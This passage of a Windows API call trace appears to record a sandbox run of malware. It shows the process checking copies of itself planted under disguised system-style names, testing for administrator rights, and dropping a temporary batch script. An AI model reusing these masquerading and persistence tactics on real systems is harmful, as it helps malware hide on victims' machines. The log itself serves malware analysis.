(dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.489] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe", lpFilePart=0x0) returned 0x4a [0130.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.489] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-1000-0000000ff1ce}-c\\omnipos.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23f7caed, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x23f7caed, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.494] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0130.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.495] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25cd8176, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x25cd8176, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe", lpFilePart=0x0) returned 0x40 [0130.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\draw face.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x275ba247, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x275ba247, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.505] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe", lpFilePart=0x0) returned 0x4a [0130.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.505] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\accupos.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x292a47c9, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x292a47c9, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.510] GetFullPathNameW (in: lpFileName="C:\\Recovery\\WindowsRE\\SearchUI.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\WindowsRE\\SearchUI.exe", lpFilePart=0x0) returned 0x22 [0130.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.510] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\WindowsRE\\SearchUI.exe" (normalized: "c:\\recovery\\windowsre\\searchui.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ab85499, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2ab85499, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.515] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\System.exe", nBufferLength=0x105, lpBuffer=0x1b30cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\System.exe", lpFilePart=0x0) returned 0x2e [0130.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d330) returned 1 [0130.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Application Data\\System.exe" (normalized: "c:\\users\\all users\\application data\\system.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30d410 | out: lpFileInformation=0x1b30d410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c336adf, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2c336adf, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d2f0) returned 1 [0130.542] GetCurrentProcess () returned 0xffffffffffffffff [0130.542] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30d4d8 | out: TokenHandle=0x1b30d4d8*=0x420) returned 1 [0130.545] GetTokenInformation (in: TokenHandle=0x420, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b30d538 | out: TokenInformation=0x0, ReturnLength=0x1b30d538) returned 0 [0130.545] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b497aa0 [0130.545] GetTokenInformation (in: TokenHandle=0x420, TokenInformationClass=0x8, TokenInformation=0x1b497aa0, TokenInformationLength=0x4, ReturnLength=0x1b30d538 | out: TokenInformation=0x1b497aa0, ReturnLength=0x1b30d538) returned 1 [0130.545] LocalFree (hMem=0x1b497aa0) returned 0x0 [0130.546] DuplicateTokenEx (in: hExistingToken=0x420, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b30d598 | out: phNewToken=0x1b30d598*=0x424) returned 1 [0130.546] CheckTokenMembership (in: TokenHandle=0x424, SidToCheck=0x2841bd0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b30d5a0 | out: IsMember=0x1b30d5a0) returned 1 [0130.546] CloseHandle (hObject=0x424) returned 1 [0130.631] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b30d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0130.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30dd10) returned 1 [0130.631] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b30ddf0 | out: lpFileInformation=0x1b30ddf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25cd8176, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x25cd8176, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00)) returned 1 [0130.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30dcd0) returned 1 [0130.646] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b7a80 [0130.646] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b4b7a80 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0130.646] CoTaskMemFree (pv=0x1b4b7a80) [0130.647] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b30d640, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0130.647] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b30d660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0130.653] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg", nBufferLength=0x105, lpBuffer=0x1b30d420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg", lpFilePart=0x0) returned 0x33 [0130.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d900) returned 1 [0130.654] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aixcl1n5fg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x424 [0130.654] GetFileType (hFile=0x424) returned 0x1 [0130.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d870) returned 1 [0130.654] GetFileType (hFile=0x424) returned 0x1 [0130.654] WriteFile (in: hFile=0x424, lpBuffer=0x2886888*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1b30d938, lpOverlapped=0x0 | out: lpBuffer=0x2886888*, lpNumberOfBytesWritten=0x1b30d938*=0x19, lpOverlapped=0x0) returned 1 [0130.656] CloseHandle (hObject=0x424) returned 1 [0130.657] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b4de0 [0130.657] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b4b4de0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0130.657] CoTaskMemFree (pv=0x1b4b4de0) [0130.657] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b30d640, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0130.657] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b30d660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0130.657] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b5880 [0130.658] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1b4b5880 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0130.658] CoTaskMemFree (pv=0x1b4b5880) [0130.658] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x1b30d640, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0130.658] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b30d660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x29 [0130.662] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg", nBufferLength=0x105, lpBuffer=0x1b30d670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg", lpFilePart=0x0) returned 0x33 [0130.663] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\aIXcL1n5fg" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aixcl1n5fg")) returned 1 [0130.668] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", nBufferLength=0x105, lpBuffer=0x1b30d670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat", lpFilePart=0x0) returned 0x37 [0130.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30db50) returned 1 [0130.668] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\PBAoSMgkVL.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\pbaosmgkvl.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x424 [0130.668] GetFileType (hFile=0x424) returned 0x1 [0130.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30dac0) returned 1 [0130.668] GetFileType (hFile=0x424) returned 0x1 [0130.668] WriteFile (in: hFile=0x424, lpBuffer=0x288abe8*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x1b30db88, lpOverlapped=0x0 | out: lpBuffer=0x288abe8*, lpNumberOfBytesWritten=0x1b30db88*=0xc6, lpOverlapped=0x0) returned 1 [0130.670] CloseHandle (hObject=0x424) returned 1 [0130.701] GetCurrentProcess () returned 0xffffffffffffffff [0130.701] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b30dc18 | out: TokenHandle=0x1b30dc18*=0x424) returned 1 [0130.706] GetTokenInformation (in: TokenHandle=0x424, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b30dc78 | out: TokenInformation=0x0, ReturnLength=0x1b30dc78) returned 0 [0130.706] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b497c70 [0130.706] GetTokenInformation (in: TokenHandle=0x424, TokenInformationClass=0x8, TokenInformation=0x1b497c70, TokenInformationLength=0x4, ReturnLength=0x1b30dc78 | out: TokenInformation=0x1b497c70, ReturnLength=0x1b30dc78) returned 1 [0130.706] LocalFree (hMem=0x1b497c70) returned 0x0 [0130.706] DuplicateTokenEx (in: hExistingToken=0x424, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b30dcd8 | out: phNewToken=0x1b30dcd8*=0x428) returned 1 [0130.706] CheckTokenMembership (in: TokenHandle=0x428, SidToCheck=0x288c0c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b30dce0 | out: IsMember=0x1b30dce0) returned 1 [0130.706] CloseHandle (hObject=0x428) returned 1 [0130.713] LocalAlloc (uFlags=0x0, uBytes=0x72) returned 0x1b51d060 [0130.713] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x1b4d33c0 [0131.869] LocalFree (hMem=0x1b51d060) returned 0x0 [0131.869] LocalFree (hMem=0x1b4d33c0) returned 0x0 [0131.869] CoGetContextToken (in: pToken=0x1b30dbd0 | out: pToken=0x1b30dbd0) returned 0x0 [0131.869] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30dc08 | out: ppvObject=0x1b30dc08*=0x6124e8) returned 0x0 [0131.869] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b30dce0 | out: pThreadType=0x1b30dce0*=0) returned 0x0 [0131.869] IUnknown:Release (This=0x6124e8) returned 0x1 [0131.870] CoGetContextToken (in: pToken=0x1b30d6e0 | out: pToken=0x1b30d6e0) returned 0x0 [0131.870] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d718 | out: ppvObject=0x1b30d718*=0x6124e8) returned 0x0 [0131.870] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b30d788 | out: pThreadType=0x1b30d788*=0) returned 0x0 [0131.871] IUnknown:Release (This=0x6124e8) returned 0x1 [0131.873] CoGetContextToken (in: pToken=0x1b30d6e0 | out: pToken=0x1b30d6e0) returned 0x0 [0131.873] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d718 | out: ppvObject=0x1b30d718*=0x6124e8) returned 0x0 [0131.873] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b30d788 | out: pThreadType=0x1b30d788*=0) returned 0x0 [0131.873] IUnknown:Release (This=0x6124e8) returned 0x1 [0131.900] CoGetContextToken (in: pToken=0x1b30d6e0 | out: pToken=0x1b30d6e0) returned 0x0 [0131.900] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d718 | out: ppvObject=0x1b30d718*=0x6124e8) returned 0x0 [0131.901] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b30d788 | out: pThreadType=0x1b30d788*=0) returned 0x0 [0131.901] IUnknown:Release (This=0x6124e8) returned 0x1 [0131.938] CoGetContextToken (in: pToken=0x1b30d700 | out: pToken=0x1b30d700) returned 0x0 [0131.938] IUnknown:QueryInterface (in: This=0x6124d0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d738 | out: ppvObject=0x1b30d738*=0x6124e8) returned 0x0 [0131.939] IComThreadingInfo:GetCurrentThreadType (in: This=0x6124e8, pThreadType=0x1b30d7a8 | out: pThreadType=0x1b30d7a8*=0) returned 0x0 [0131.939] IUnknown:Release (This=0x6124e8) returned 0x0 Thread: id = 11 os_tid = 0xd40 Thread: id = 12 os_tid = 0xd1c Thread: id = 13 os_tid = 0xd14 [0102.579] CoGetContextToken (in: pToken=0x1b40fa80 | out: pToken=0x1b40fa80) returned 0x0 [0102.579] CObjectContext::QueryInterface () returned 0x0 [0102.579] CObjectContext::GetCurrentThreadType () returned 0x0 [0102.579] Release () returned 0x0 Thread: id = 14 os_tid = 0xccc [0089.114] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0089.114] RoInitialize () returned 0x1 [0089.114] RoUninitialize () returned 0x0 [0089.861] CoUninitialize () Thread: id = 15 os_tid = 0xcbc [0093.301] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0093.301] RoInitialize () returned 0x1 [0093.301] RoUninitialize () returned 0x0 [0093.320] CoUninitialize () Thread: id = 16 os_tid = 0x11b0 [0098.052] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0098.052] RoInitialize () returned 0x1 [0098.052] RoUninitialize () returned 0x0 [0098.101] CoUninitialize () Thread: id = 17 os_tid = 0x11dc [0099.871] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.871] RoInitialize () returned 0x1 [0099.871] RoUninitialize () returned 0x0 [0100.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bee8) returned 0x0 [0100.214] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.219] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.220] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.221] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.222] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.223] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.267] GetCurrentProcessId () returned 0xd70 [0100.268] GetCurrentProcessId () returned 0xd70 [0100.268] GetCurrentProcessId () returned 0xd70 [0100.268] GetCurrentProcessId () returned 0xd70 [0100.268] GetCurrentProcessId () returned 0xd70 [0100.841] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bf38) returned 0x0 [0100.854] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.855] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 0xd70 [0100.856] GetCurrentProcessId () returned 